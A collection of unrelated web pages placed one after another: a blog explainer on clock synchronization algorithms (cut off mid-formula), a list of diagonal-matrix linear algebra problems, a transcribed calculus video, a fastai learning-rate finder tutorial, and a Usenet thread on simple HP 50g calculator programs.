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https://distributedsystemsblog.com/docs/clock-synchronization-algorithms/
# Clock synchronization algorithms Synchronizing time in distributed systems is crucial to ensure that the interactions between members in the system are correct and fair. For instance, let’s say a server A in a reservation system receives a request to purchase a flight ticket with seat S, server A locally logs the transaction at time T. Server A also informs server B that seat S has been taken. Server B also logs the information with its local timestamp that less than T. When another server C queries both A’s and B’s logs, it could be confused that a client purchased a ticket at A after the seat has taken and could further take incorrect actions. In general, clock synchronization algorithms address 2 main questions: 1. How a computer synchronizes with an external clock and 2. How computers in distributed systems synchronize with each other. ## Clock in a single system Before we dive into a distributed system, let’s discuss the clock in a single system. Any computer has a device called clock or timer to keep track of time. A clock consists of 2 registers, i.e. a counter and a holding register, and a quartz crystal oscillator that can generate an accurate periodic signal, typically in the range of several hundred MHz to a few GHz and can be amplified to a range of several Ghz using electronics. The clock operates in 2 modes: 1. One-short mode: When the clock is started, it copies the value of the holding register into the counter. Every time the crystal oscillates and sends a signal into the counter, the counter decrements by 1. When the counter gets to zero, it causes a CPU interrupt and stops until it is started again by the software. These periodic interrupts are called clock ticks. The interrupt frequency can be controlled by software. 2. Square-wave mode: after getting to zero and causing the interrupt, the holding register is automatically copied into the counter, and the whole process is repeated again indefinitely. To prevent the current time from being lost when the computer’s power is turned off, most computers also have a battery-backed CMOS RAM such that date and time can be saved and read at startup. If no information is present, the system will ask the user to enter the date and time which will be converted into the number of clock ticks since a known starting date, i.e. 12 A.M. UTC on Jan. 1, 1970, in Unix. At every clock tick, the interrupt-service procedure updates the clock by 1. The standard worldwide time is called Universal Coordinated Time (UCT). Computers around the world can synchronize their clocks with Internet UTC servers for up to milliseconds precision or with satellite signals for up to sub-microsecond precision. ## Clock in distributed systems ### Clock skew and clock drift In a distributed system, each system’s CPU has its own clock which runs at a different rate. The relative difference in clock value is called clock skew. On the other hand, the relative difference in clock frequency is called clock drift and the difference per unit time from a perfect reference point is clock drift rate, this rate is affected by many factors such as temperature. As an analogy, clock skew is akin to the difference in distance between 2 cars on the road while clock drift is the difference in speed. A non-zero clock skew implies clocks are not synchronized and a non-zero clock drift will result in skew to increase eventually. Once we know the clock is drifting away from the reference clock, we can change the clock value. However, it is not a good idea to change the clock backward, because going backward can violate the ordering of events within the same process, for example, an object file computed after the time change will have the time earlier than the source which was modified before the clock changed. It is better to adjust the clock gradually by changing the rate of interrupt requests. ### External and Internal Synchronization We denote C(i) as the value of timer I at UTC time t. Some clock synchronization algorithms try to achieve precision or internal synchronization - to keep the deviation of clock value of any 2 machines in a distributed system within bound D at all time, i.e. Berkeley algorithm |C(i) – C(j)| < D Some algorithms try to achieve accuracy or external synchronization - to keep each clock value within a bound R from value S of an external clock, say UTC server or an atomic clock at all time, i.e. Cristian’s algorithm, NTP, etc. |C(i) – S| < R If clocks in a system are accurate within R, this will imply precision or internal synchronization within bound D=2*R. However, internal synchronization does not imply external synchronization, i.e. the entire system may drift away from the external clock S. Of course, the ideal situation is when C(i)=S or D=R=0, but this is not possible because clocks are subject to clock skew and drift. ### When to synchronize? Hardware clock usually defines its’ Maximum Drift Rate (MDR) relative to the reference UTC time. Imagine that fast and slow clocks that deviate from the UTC in opposite direction with the same MDR, at any unit time, they will deviate by 2*MDR from each other. If we want to guarantee a precision D, say clocks cannot differ more than D seconds, we need to synchronize the clocks at least every D/(2*MDR) time units since time = distance/speed. Christian’s algorithm A naive external synchronization will look like this: 1. Every host in the system sends a message to an external server to check the time 2. Server checks local clock to find time t and responds a message with time t to hosts 3. Each host sets their clocks to t The problem is that when the host receives the message from an external server, the time has moved and caused the time inaccurately. In distributed systems, the members follow the asynchronous system model. Since inaccuracy is a result of message latencies and latencies are unbounded in an asynchronous system, the inaccuracy cannot be bounded either. Christian’s algorithm modifies step 3 above Host A measures the round-trip-time RTT of message exchange. The actual time at A when it receives response is between [t , t + RTT ]. Host A sets its time to halfway through this interval: t + RTT/2 ### The error In order to calculate the error, we incorporate the minimum latency l1 from A to S and l2 from S to A. l1 and l2 depend on operating system overhead, i.e. buffer messages, TCP time to queue messages, etc. So now, the time at A when it receives response is within [t + l2, t + RTT - l1]. Host A sets its time to halfway through this interval: t + (RTT + l2 - l1)/2 Error is at most (RTT - l2 - l1)/2, the longer your RTT is, the more error. Christian’s algorithm did not specify a way to increase or decrease the speed of the clock but allow us to change the speed of clock. If error is too high, RTT can be taken multiple times and average them. ## Network Time Protocol Network Time Protocol (NTP) servers organized in a hierarchical tree-like system. Each level of this hierarchy is termed a stratum and is assigned a number starting with zero for the reference clock at the top, i.e. the lower the stratum, the server is supposed, but not always, to be more accurate. When a particular client synchronizes with a server, the one with higher stratum level, whether it is client or server, will adjust its’ stratum level to become just one level higher than the other. For instance, if server is stratum-k and client is stratum-k+2 , then client will adjust itself to stratum-k+1. In NTP, a client will estimate the message delay when it tries to synchronize with the server using the following algorithm: 1. The client polls NTP server to start 2. The server responds with a message to the client and records the local timestamp t1 3. The client receives the message and records as t2 4. The client sends the second message to the server and records at t3 5. The server receives the message and records it as t4 with local clock 6. The server sends the values t2 and t4 to the client The client knows the values of t1, t2, t3, t4 and hence can calculate its’ offset theta relative to server, and round-trip delay delta: θ = (t2 – t1 + t3 – t4)/2 𝛿 = (t3 - t2) + (t4 - t1) The client calculates (θ,𝛿) a number of times, and use the minimum round-trip delay as the best estimation for the delay between two hosts, the associated offset is the most reliable estimation of the offset. Let’s discuss how reliable this estimation is. ### The error we denote the real offset as real_offset, say the client is ahead of server by real_offset, and suppose one-way latency of first and second messages are l1 and l2, then: t2 = t1 + l1 + real_offset t4 = t3 + l2 – real_offset Subtracting the second equation from the first real_offset = (t2 – t4 + t3 – t1)/2 + (l2 – l1)/2 => real_offset = θ + (l2 – l1)/2 => |real_offset - θ| < |(l2 – l1)|/2 The offset error is bounded by the non-zero RTT. We cannot get rid of error as long as message latencies are non-zero. ## The Berkeley algorithm The Berkeley algorithm is an internal synchronization algorithm. It is sufficient that machines in the system to synchronize time but not necessary for them to synchronize with an external clock. 1. A particular time server poll each machine in the system to ask their time. 2. The machines respond with how far ahead or behind from the server. 3. The server computes the average and tells each machine to adjust the clock. RBS is another internal synchronization algorithm. The algorithm does not try to sync the time with an external clock, in fact, it does not assume there is an external clock with accurate time. $\Large&space;offset(i,j) = \sum_{\substack{ 1
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https://yutsumura.com/tag/diagonal-matrix/
# Tagged: diagonal matrix ## Problem 681 For a square matrix $M$, its matrix exponential is defined by $e^M = \sum_{i=0}^\infty \frac{M^k}{k!}.$ Suppose that $M$ is a diagonal matrix $M = \begin{bmatrix} m_{1 1} & 0 & 0 & \cdots & 0 \\ 0 & m_{2 2} & 0 & \cdots & 0 \\ 0 & 0 & m_{3 3} & \cdots & 0 \\ \vdots & \vdots & \vdots & \vdots & \vdots \\ 0 & 0 & 0 & \cdots & m_{n n} \end{bmatrix}.$ Find the matrix exponential $e^M$. ## Problem 647 Recall that a matrix $A$ is symmetric if $A^\trans = A$, where $A^\trans$ is the transpose of $A$. Is it true that if $A$ is a symmetric matrix and in reduced row echelon form, then $A$ is diagonal? If so, prove it. Otherwise, provide a counterexample. ## Problem 629 Diagonalize the $2\times 2$ matrix $A=\begin{bmatrix} 2 & -1\\ -1& 2 \end{bmatrix}$ by finding a nonsingular matrix $S$ and a diagonal matrix $D$ such that $S^{-1}AS=D$. ## Problem 585 Consider the Hermitian matrix $A=\begin{bmatrix} 1 & i\\ -i& 1 \end{bmatrix}.$ (a) Find the eigenvalues of $A$. (b) For each eigenvalue of $A$, find the eigenvectors. (c) Diagonalize the Hermitian matrix $A$ by a unitary matrix. Namely, find a diagonal matrix $D$ and a unitary matrix $U$ such that $U^{-1}AU=D$. ## Problem 584 Prove that the matrix $A=\begin{bmatrix} 0 & 1\\ -1& 0 \end{bmatrix}$ is diagonalizable. Prove, however, that $A$ cannot be diagonalized by a real nonsingular matrix. That is, there is no real nonsingular matrix $S$ such that $S^{-1}AS$ is a diagonal matrix. ## Problem 583 Consider the $2\times 2$ complex matrix $A=\begin{bmatrix} a & b-a\\ 0& b \end{bmatrix}.$ (a) Find the eigenvalues of $A$. (b) For each eigenvalue of $A$, determine the eigenvectors. (c) Diagonalize the matrix $A$. (d) Using the result of the diagonalization, compute and simplify $A^k$ for each positive integer $k$. ## Problem 533 Consider the complex matrix $A=\begin{bmatrix} \sqrt{2}\cos x & i \sin x & 0 \\ i \sin x &0 &-i \sin x \\ 0 & -i \sin x & -\sqrt{2} \cos x \end{bmatrix},$ where $x$ is a real number between $0$ and $2\pi$. Determine for which values of $x$ the matrix $A$ is diagonalizable. When $A$ is diagonalizable, find a diagonal matrix $D$ so that $P^{-1}AP=D$ for some nonsingular matrix $P$. ## Problem 504 Prove that if $A$ is a diagonalizable nilpotent matrix, then $A$ is the zero matrix $O$. ## Problem 492 Let $D=\begin{bmatrix} d_1 & 0 & \dots & 0 \\ 0 &d_2 & \dots & 0 \\ \vdots & & \ddots & \vdots \\ 0 & 0 & \dots & d_n \end{bmatrix}$ be a diagonal matrix with distinct diagonal entries: $d_i\neq d_j$ if $i\neq j$. Let $A=(a_{ij})$ be an $n\times n$ matrix such that $A$ commutes with $D$, that is, $AD=DA.$ Then prove that $A$ is a diagonal matrix. ## Problem 456 Determine whether the matrix $A=\begin{bmatrix} 0 & 1 & 0 \\ -1 &0 &0 \\ 0 & 0 & 2 \end{bmatrix}$ is diagonalizable. If it is diagonalizable, then find the invertible matrix $S$ and a diagonal matrix $D$ such that $S^{-1}AS=D$. ## Problem 439 Is every diagonalizable matrix invertible? ## Problem 424 Let $A$ and $B$ be $n\times n$ matrices. Suppose that $A$ and $B$ have the same eigenvalues $\lambda_1, \dots, \lambda_n$ with the same corresponding eigenvectors $\mathbf{x}_1, \dots, \mathbf{x}_n$. Prove that if the eigenvectors $\mathbf{x}_1, \dots, \mathbf{x}_n$ are linearly independent, then $A=B$. ## Problem 423 Determine all $2\times 2$ matrices $A$ such that $A$ has eigenvalues $2$ and $-1$ with corresponding eigenvectors $\begin{bmatrix} 1 \\ 0 \end{bmatrix} \text{ and } \begin{bmatrix} 2 \\ 1 \end{bmatrix},$ respectively. ## Problem 385 Let $A=\begin{bmatrix} 2 & -1 & -1 \\ -1 &2 &-1 \\ -1 & -1 & 2 \end{bmatrix}.$ Determine whether the matrix $A$ is diagonalizable. If it is diagonalizable, then diagonalize $A$. That is, find a nonsingular matrix $S$ and a diagonal matrix $D$ such that $S^{-1}AS=D$. ## Problem 363 (a) Find all the eigenvalues and eigenvectors of the matrix $A=\begin{bmatrix} 3 & -2\\ 6& -4 \end{bmatrix}.$ (b) Let $A=\begin{bmatrix} 1 & 0 & 3 \\ 4 &5 &6 \\ 7 & 0 & 9 \end{bmatrix} \text{ and } B=\begin{bmatrix} 2 & 0 & 0 \\ 0 & 3 &0 \\ 0 & 0 & 4 \end{bmatrix}.$ Then find the value of $\det(A^2B^{-1}A^{-2}B^2).$ (For part (b) without computation, you may assume that $A$ and $B$ are invertible matrices.) ## Problem 336 A complex square ($n\times n$) matrix $A$ is called normal if $A^* A=A A^*,$ where $A^*$ denotes the conjugate transpose of $A$, that is $A^*=\bar{A}^{\trans}$. A matrix $A$ is said to be nilpotent if there exists a positive integer $k$ such that $A^k$ is the zero matrix. (a) Prove that if $A$ is both normal and nilpotent, then $A$ is the zero matrix. You may use the fact that every normal matrix is diagonalizable. (b) Give a proof of (a) without referring to eigenvalues and diagonalization. (c) Let $A, B$ be $n\times n$ complex matrices. Prove that if $A$ is normal and $B$ is nilpotent such that $A+B=I$, then $A=I$, where $I$ is the $n\times n$ identity matrix. ## Problem 315 Let $P_1$ be the vector space of all real polynomials of degree $1$ or less. Consider the linear transformation $T: P_1 \to P_1$ defined by $T(ax+b)=(3a+b)x+a+3,$ for any $ax+b\in P_1$. (a) With respect to the basis $B=\{1, x\}$, find the matrix of the linear transformation $T$. (b) Find a basis $B’$ of the vector space $P_1$ such that the matrix of $T$ with respect to $B’$ is a diagonal matrix. (c) Express $f(x)=5x+3$ as a linear combination of basis vectors of $B’$. ## Problem 314 Let $T$ be the linear transformation from the vector space $\R^2$ to $\R^2$ itself given by $T\left( \begin{bmatrix} x_1 \\ x_2 \end{bmatrix} \right)= \begin{bmatrix} 3x_1+x_2 \\ x_1+3x_2 \end{bmatrix}.$ (a) Verify that the vectors $\mathbf{v}_1=\begin{bmatrix} 1 \\ -1 \end{bmatrix} \text{ and } \mathbf{v}_2=\begin{bmatrix} 1 \\ 1 \end{bmatrix}$ are eigenvectors of the linear transformation $T$, and conclude that $B=\{\mathbf{v}_1, \mathbf{v}_2\}$ is a basis of $\R^2$ consisting of eigenvectors. (b) Find the matrix of $T$ with respect to the basis $B=\{\mathbf{v}_1, \mathbf{v}_2\}$. ## Problem 287 Let $V$ be the vector space of all $3\times 3$ real matrices. Let $A$ be the matrix given below and we define $W=\{M\in V \mid AM=MA\}.$ That is, $W$ consists of matrices that commute with $A$. Then $W$ is a subspace of $V$. Determine which matrices are in the subspace $W$ and find the dimension of $W$. (a) $A=\begin{bmatrix} a & 0 & 0 \\ 0 &b &0 \\ 0 & 0 & c \end{bmatrix},$ where $a, b, c$ are distinct real numbers. (b) $A=\begin{bmatrix} a & 0 & 0 \\ 0 &a &0 \\ 0 & 0 & b \end{bmatrix},$ where $a, b$ are distinct real numbers. ## Problem 269 Let $A$ be a real skew-symmetric matrix, that is, $A^{\trans}=-A$. Then prove the following statements. (a) Each eigenvalue of the real skew-symmetric matrix $A$ is either $0$ or a purely imaginary number. (b) The rank of $A$ is even.
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https://www.numerade.com/questions/integration-and-differentiation-in-exercises-5-and-6-verify-the-statement-by-showing-that-the-deri-4/
### Integration and Differentiation In Exercises 5 an… 01:14 University of Houston Problem 9 Integration and Differentiation In Exercises 5 and 6 verify the statement by showing that the derivative of the right side equals the integrand on the left side. $\frac{d y}{d x}=x^{3 / 2}$ $$y=\frac{2}{5} x^{5 / 2}+C$$ ## Discussion You must be signed in to discuss. ## Video Transcript all right in this question, they're actually asking us, Um, they have B y over DX on walls X to the three halves, and they want us thio kind of reverse engineer and say, What was the original function at the derivative? Equal three halves. So let's think backwards. When we take the derivative, we subtract one, so we have to add one. So we know that our function here, what have equal X to the five halves and we don't have a coefficient of X so are five abs. When multiplied by the coefficient, would give us one. Well, that would be the reciprocal. And let's see, if I add tend to the back, Would that change anything? So let's see. Does this work? When I take the derivative five halves times to Fitz gives me one s and I subtract, I get three cabs and the 10 balls away. So now let's make it a little bit more generic, and we're going to say that why equals X to the five calves, the 10 balls away. Just because it's a concert, I'm just gonna represent that with a C because it could be any number can 12 1 200
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https://walkwithfastai.com/lr_finder
A guide for showing how to use the learning rate finder to select an ideal learning rate This article is also a Jupyter Notebook available to be run from the top down. There will be code snippets that you can then run in any environment. Below are the versions of fastai, fastcore, and wwf currently running at the time of writing this: • fastai: 2.0.16 • fastcore: 1.2.2 • wwf: 0.0.5 The importance of a good Learning Rate Before we get started, there's a few questions we need to understand. Why bother selecting a learning rate? Why not use the defaults? Quite simply, a bad learning rate can mean bad performance. There are 2 ways this can happen. 1. Learning too slowly: If the learning rate is too small it will take a really long time to train your model. This can mean that to get a model of the same accuracy, you either would need to spend more time or more money. Said another way, it will either take longer to train the model using the same hardware or you will need more expensive hardware (or some combination of the two). 2. Learning too quickly: If the learning rate is too large, the steps it takes will be so big it overshoots what is an optimal model. Quite simply your accuracy will just bounce all over the place rather than steadily improving. So we need a learning rate that is not too big, but not too small. How can we thread the needle? Isn't there some automated way to select a learning rate? The short answer is no, there isn't. There are some guidelines available that will be covered, but ultimately there is no sure-fire automated way to automated selectig a learning rate. The best method is to to use the learning rate finder. The Problem We will be identifying cats vs dogs. To get our model started, we will import the library. from fastai.vision.all import * path = untar_data(URLs.PETS) Now, let's organize the data in a dataloader. files = get_image_files(path/"images") def label_func(f): return f[0].isupper() dls = ImageDataLoaders.from_name_func(path, files, label_func, item_tfms=Resize(224)) Now we can look at the pictures we are looking to classify. We are predicting whether these images are a cat or not. dls.show_batch(max_n=3) Now, we can create a learner to do the classification. learn = cnn_learner(dls, resnet34, metrics=error_rate) Recorder.plot_lr_find[source] Recorder.plot_lr_find(suggestions=False, skip_end=5, lr_min=None, lr_steep=None) Plot the result of an LR Finder test (won't work if you didn't do learn.lr_find() before) Learner.lr_find[source] Learner.lr_find(start_lr=1e-07, end_lr=10, num_it=100, stop_div=True, show_plot=True, suggestions=True) Launch a mock training to find a good learning rate, return lr_min, lr_steep if suggestions is True Learning Rate Finder Finally we can get to the main topic of this tutorial. I have modified the learning rate finder from fastai to add dots at the reccomended locations. We can see a couple of red dots as fast reference points, but it is still on us to pick the value. It's a bit of an art. What we are looking for is a logical place on the graph where the loss is decreasing. The red dots on the graph indicate the minimum value on the graph divided by 10, as well as the steepest point on the graph. We can see that in this case, both the dots line up on the curve. Anywhere in that range will be a good guess for a starting learning rate. learn.lr_find() SuggestedLRs(lr_min=0.010000000149011612, lr_steep=0.0008317637839354575) Now we will fine tune the model as a first training step. learn.fine_tune(1, base_lr = 9e-3) epoch train_loss valid_loss error_rate time 0 0.087485 0.025303 0.006766 00:15 epoch train_loss valid_loss error_rate time 0 0.077561 0.028005 0.010825 00:15 Now that we have done some training, we will need to re-run the learning rate finder. As the model changes and trains, we can find a new 'best' learning rate. When we run it below, we see the graph is a bit tricker. We definitely don't want the point to the far left where the loss is spiking. But we also don't want the point on the right where the loss is increasing. For this we will find a value between the two on that curve where loss is decreasing and train some more. learn.lr_find() SuggestedLRs(lr_min=9.12010818865383e-08, lr_steep=1.0964781722577754e-06) We end up with a 0.6% error rate. Not bad! learn.fit_one_cycle(1,9e-7) epoch train_loss valid_loss error_rate time 0 0.040149 0.021365 0.006089 00:15
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http://fixunix.com/hewlett-packard/549730-hp-50g-simple-programming.html
# HP 50g simple programming - Hewlett Packard This is a discussion on HP 50g simple programming - Hewlett Packard ; I have a HP 50g calculator, just want to wirte some simple program, like input R, the program calculates the circle area; input L, H, W, then the program can calculate the surface area, ect. I read the user menu, ... # Thread: HP 50g simple programming 1. ## HP 50g simple programming I have a HP 50g calculator, just want to wirte some simple program, like input R, the program calculates the circle area; input L, H, W, then the program can calculate the surface area, ect. I read the user showed the detailed programming steps, but it was broken. Who is familiar with 50g programming and can show me a couple of simple program, I would so appreciate. 2. ## Re: HP 50g simple programming Well, the 42s is programmed in RPN, the 50G in UserRPL. That's a big difference. Get yourself the HP 49G+ Advanced User's Reference Manual (AUR) in pdf Programming in UserRPL can still be very simple: Having value for height, width and length on the stack, you can use this program to have the resulting volume on stack level 1: << -> H W L << H W L * *>> >> << >> being keyed in by [Right Shift] [+] and -> by [Right Shift][0] Have fun! GeorgeBailey 3. ## Re: HP 50g simple programming "George Bailey" wrote in message news:gdus4g$t4g$1@online.de... > Well, the 42s is programmed in RPN, the 50G in UserRPL. That's a big > difference. > > Get yourself the HP 49G+ Advanced User's Reference Manual (AUR) in pdf for > > Programming in UserRPL can still be very simple: > > Having value for height, width and length on the stack, you can use this > program to have the resulting volume on stack level 1: > > << -> H W L << H W L * *>> >> or just << * * >> inputting r and getting 2 pi r << 2 * pi * ->NUM @ ensure symbolic pi is numeric >> pi is [Left-Shift] [SPC] > << >> being keyed in by [Right Shift] [+] > and > -> by [Right Shift][0] > > Have fun! > > GeorgeBailey 4. ## Re: HP 50g simple programming Veli-Pekka Nousiainen schrieb: > or just << * * >> I seriously question the need for a program in this case ;-) http://www.hpcalc.org/hp49/docs/misc/hp49gpaur.zip with many programming examples. Cheers, George 5. ## Re: HP 50g simple programming On Oct 24, 7:46*pm, kx...@hotmail.com wrote: > I have a HP 50g calculator, just want to wirte some simple program, > like input R, the program calculates the circle area; *input L, H, W, > then the program can calculate the surface area, ect. *I read the user > showed the detailed programming steps, but it was broken. Who is > familiar with 50g programming and can show me a couple of simple > program, I would so appreciate. Calculate area of circle: area = pi * r^2 On HP 50: << SQ 3.14159265359 * "Area" ->TAG >> Store the program in a variable named AREA: 1. Open program delimiters with rt. shift << >>. Look above the [+] key. 2. Type in the program. 3. Press [ENTER] to place program on the stack. 4. Press the [ ' O] key. It is the key with MTRW EQW above it. 5. Type in AREA then [ENTER]. 6. Press the [STO] key to store the program. 7. To use the program enter a number in stack level one and then press the soft key Example: Input: 1: 5.00 Output: 1: Area:78.54 8. Go to [CONST] in the to get pi. 9. Enter 2 FIX to display two places after the decimal point. 10. I'm using an hp 49g+ so if any keys are different from your hp 50 I apologize 6. ## Re: HP 50g simple programming On Oct 25, 2:46 am, kx...@hotmail.com wrote: > I have a HP 50g calculator, just want to wirte some simple program, > like input R, the program calculates the circle area; input L, H, W, > then the program can calculate the surface area, ect. I read the user > showed the detailed programming steps, but it was broken. Who is > familiar with 50g programming and can show me a couple of simple > program, I would so appreciate. Welcome. There are several different ways to accomplish this. In the programs below, \-> is the RightShift 0 character. If you want to enter L, H, and W on the stack and have the program calculate the surface area of a rectangular box, the simplest approach would be to define a function: \<< \-> L H W '2*(L*W+L*H+H*W)' \>> Or coming from a 42s, you might prefer a stack manipulation program: \<< 3. DUPN * UNROT * + UNROT * + 2 * \>> If you want the program to prompt the user for input, you could do something like: \<< "Enter Length" "" INPUT STR\-> "Enter Height" "" INPUT STR\-> "Enter Width" "" INPUT STR\-> \-> L H W '2*(L*W+L*H+H*W)' \>> And finally if you want a form to fill in with tagged output: \<< "Surface Area of Box" { "Length:" "Height:" " Width:" } { 1. 0. } { 1 1 1 } DUP INFORM IF THEN OBJ\-> DROP \-> L H W '2*(L*W+L*H+H*W)' END "Area" \->TAG \>> Hope this points you in the right direction. -wes 7. ## Re: HP 50g simple programming On Oct 24, 7:46*pm, kx...@hotmail.com wrote: > I have a HP 50g calculator, just want to wirte some simple program, > like input R, the program calculates the circle area; *input L, H, W, > then the program can calculate the surface area, ect. *I read the user > showed the detailed programming steps, but it was broken. Who is > familiar with 50g programming and can show me a couple of simple > program, I would so appreciate. EQNLIB (libraries 226 and 227) came with the calculator. For your problems, use Plane Geometry and Solid Geometry. Enter in the known values and the tell the calculator which variable to solve for. Otherwise, read Chapter 21 on the 50g User's Guide (the PDF) for S.C. 8. ## Re: HP 50g simple programming Simple example program for area of a circle: << Pi SWAP 2 ^ * EVAL>> ENTER AREA STO (There you store your program into AREA variable) Then just put R on the stack and press the corresponding softkey to execute the AREA program. Another way: << -> R 'Pi*R^2' EVAL>> ENTER ENTER Again, just put R on the stack and press the corresponding softkey to execute the AREA program. 9. ## Re: HP 50g simple programming On Oct 24, 7:46*pm, kx...@hotmail.com wrote: > I have a HP 50g calculator, just want to wirte some simple program, > like input R, the program calculates the circle area; *input L, H, W, > then the program can calculate the surface area, ect. *I read the user > showed the detailed programming steps, but it was broken. Who is > familiar with 50g programming and can show me a couple of simple > program, I would so appreciate. Greetings, Calculate area of circle: area = pi * r^2 On the HP 50: << SQ 3.14159265359 * "Area" ->TAG >> Store the program in a variable named AREA: 1. Open program delimiters with rt. shift << >>. Look above the [+] key. 2. Type in the program. 3. Press [ENTER] to place program on the stack. 4. Press the [ ' O] key. It is the key with MTRW EQW above it. 5. Type in AREA then [ENTER]. 6. Press the [STO] key to store the program. 7. To use the program enter a number in stack level one and then press the soft key Example: Input: 1: 5.00 Output: 1: Area:78.54 8. Go to [CONST] in the to get pi. 9. Enter 2 FIX to display two places after the decimal point. 10. I'm using an hp 49g+ so if any keys are different from your hp 50 I apologize Calculate surface area of rectangular prism: 2*L*W + 2*L*H + 2*W*H << 3 DUPN * 2 * @ Face A 5 ROLLD * 2 * @ Face B 4 ROLLD * 2 * @ Face C + + "Area" ->TAG @ Area >> Note: @ begins a comment and is not part of the program. It is for documentation only. Example: Input: 3: 22 @ Length 2: 16 @ Width 1: 11 @ Height Output: 1: Area:1,540.00 Regards, Mark 10. ## Re: HP 50g simple programming On Fri, 24 Oct 2008 18:46:26 -0500: > I have a HP 50g calculator, just want to write some simple program, > like input R, the program calculates the circle area; > input L, H, W, then the program can calculate the surface area, etc. All things representable by formulas can be calculated directly using the numeric solver (just as on the HP42S), and you can save a set of your own equations, then choose any one to solve (for any variable, not just calculating one particular variable from the others); for example, in RPN mode: 'A=\pi*R^2' 'CIRCA' STO 'A=(L*H+H*W+W*L)*2' 'BOXA' STO \<< "Choose formula" 9 TVARS 1 CHOOSE { STEQ 30 MENU } IFT \>> 'MYEQS' STO The 'MYEQS' program chooses any formula in the current directory, then starts the menu-based solver (like that of the HP42S). You can also just start the form-based numeric solver (Right-shift NUM.SLV "Solve Equation") and choose an equation using the form, rather than using a program. A slight expansion of the 'MYEQS' program could permit navigating through a directory tree, as well as picking equations from a single directory. Solving equations like this will store additional variables named in the formulas, containing numeric data; when you no longer need to save any such variables, you can purge them all from the current directory, plus any left-over "current equation(s)" and solver data using: \<< { 0 28 } TVARS { EQ Mpar } + PURGE \>> 'PGEQ' STO Numeric values with attached "units" (e.g. 3.2_cm) may be included in this "clean-up" by expanding the list of object types to { 0 13 28 } All of the above works in all HP48G/49G/50G series. [r->] [OFF] 11. ## Re: HP 50g simple programming On Oct 24, 7:46*pm, kx...@hotmail.com wrote: > I have a HP 50g calculator, just want to wirte some simple program, > like input R, the program calculates the circle area; *input L, H, W, > then the program can calculate the surface area, ect. *I read the user > showed the detailed programming steps, but it was broken. Who is > familiar with 50g programming and can show me a couple of simple > program, I would so appreciate. Greetings, Calculate area of circle: area = pi * r^2 On the HP 50: << SQ 3.14159265359 * "Area" ->TAG >> Store the program in a variable named AREA: 1. Open program delimiters with rt. shift << >>. Look above the [+] key. 2. Type in the program. 3. Press [ENTER] to place program on the stack. 4. Press the [ ' O] key. It is the key with MTRW EQW above it. 5. Type in AREA then [ENTER]. 6. Press the [STO] key to store the program. 7. To use the program enter a number in stack level one and then press the soft key Example: Input: 1: 5.00 Output: 1: Area:78.54 8. Go to [CONST] in the to get pi. 9. Enter 2 FIX to display two places after the decimal point. Note: I'm using an hp 49g+ so if any keys are different from your hp 50 I apologize Calculate surface area of rectangular prism: 2*L*W + 2*L*H + 2*W*H << 3 DUPN * 2 * @ Face A 5 ROLLD * 2 * @ Face B 4 ROLLD * 2 * @ Face C + + "Area" ->TAG @ Area >> Note: @ begins a comment and is not part of the program. It is for documentation only. Example: Input: 3: 22 @ Length 2: 16 @ Width 1: 11 @ Height Output: 1: Area:1,540.00 Regards, Mark 12. ## Re: HP 50g simple programming On Oct 25, 2:46 am, kx...@hotmail.com wrote: > I have a HP 50g calculator, just want to wirte some simple program, > like input R, the program calculates the circle area; input L, H, W, > then the program can calculate the surface area, ect. I read the user > showed the detailed programming steps, but it was broken. Who is > familiar with 50g programming and can show me a couple of simple > program, I would so appreciate. Welcome. There are several different ways to accomplish this. If you want to enter L, H, and W on the stack and have the program calculate the surface area of a rectangular box, the simplest approach would be to define a function: \<< \-> L H W '2*(L*W+L*H+H*W)' \>> where \<< and \>> are the program brackets, RightShift +, and \-> is RightShift 0. Or coming from a 42s, you might prefer a stack manipulation program: \<< 3. DUPN * UNROT * + UNROT * + 2 * \>> If you want the program to prompt the user for input, you could do something like: \<< "Enter Length" "" INPUT STR\-> "Enter Height" "" INPUT STR\-> "Enter Width" "" INPUT STR\-> \-> L H W '2*(L*W+L*H+H*W)' \>> And finally if you want a form to fill in with tagged output: \<< "Surface Area of Box" { "Length:" "Height:" " Width:" } { 1. 0. } { 1 1 1 } DUP INFORM IF THEN OBJ\-> DROP \-> L H W '2*(L*W+L*H+H*W)' "Area" \->TAG END \>> Hope this points you in the right direction. -wes 13. ## Re: HP 50g simple programming On Oct 25, 10:46*am, kx...@hotmail.com wrote: > I have a HP 50g calculator, just want to wirte some simple program, > like input R, the program calculates the circle area; *input L, H, W, > then the program can calculate the surface area, ect. *I read the user > showed the detailed programming steps, but it was broken. Who is > familiar with 50g programming and can show me a couple of simple > program, I would so appreciate. Try that: « "SURFACE AREA OF BOX:" DUP { ":L: :H: :W: " { 1. 5. } V } INPUT CLLCD 7. FREEZE SWAP 1. DISP DUP 3. DISP OBJ-> 3. DUPN * UNROT * + UNROT * + 2. * ":A: " OVER + 7. DISP » Cheers, Reth 14. ## Re: HP 50g simple programming On Oct 26, 6:44*pm, Wes wrote: > On Oct 25, 2:46 am, kx...@hotmail.com wrote: > > > I have a HP 50g calculator, just want to wirte some simple program, > > like input R, the program calculates the circle area; *input L, H, W, > > then the program can calculate the surface area, ect. *I read the user > > showed the detailed programming steps, but it was broken. Who is > > familiar with 50g programming and can show me a couple of simple > > program, I would so appreciate. > > Welcome. *There are several different ways to accomplish this. > > If you want to enter L, H, and W on the stack and have the program > calculate the surface area of a rectangular box, the simplest approach > would be to define a function: > > \<< \-> L H W '2*(L*W+L*H+H*W)' \>> > > where \<< and \>> are the program brackets, RightShift +, and \-> is > RightShift 0. > > Or coming from a 42s, you might prefer a stack manipulation program: > > \<< 3. DUPN * UNROT * + UNROT * + 2 * \>> > > If you want the program to prompt the user for input, you could do > something like: > > \<< > * "Enter Length" "" INPUT STR\-> > * "Enter Height" "" INPUT STR\-> > * "Enter Width" "" INPUT STR\-> > * \-> L H W '2*(L*W+L*H+H*W)' > \>> > > And finally if you want a form to fill in with tagged output: > > \<< > * "Surface Area of Box" > * { "Length:" "Height:" " Width:" } > * { 1. 0. } > * { 1 1 1 } > * DUP > * INFORM > * IF > * THEN > * * OBJ\-> DROP > * * \-> L H W '2*(L*W+L*H+H*W)' > * * "Area" > * * \->TAG > * END > \>> > > Hope this points you in the right direction. > > -wes Or try this: \<< "SURFACE AREA OF BOX:" DUP { ":L: :H: :W: " { 1. 5. } V } INPUT CLLCD 7. FREEZE SWAP 1. DISP DUP 3. DISP OBJ- > 3. DUPN * UNROT * + UNROT * + 2. * ":A: " OVER + 7. DISP \>> reth 15. ## Re: HP 50g simple programming On Oct 25, 1:10*pm, "John H Meyers" wrote: > On Fri, 24 Oct 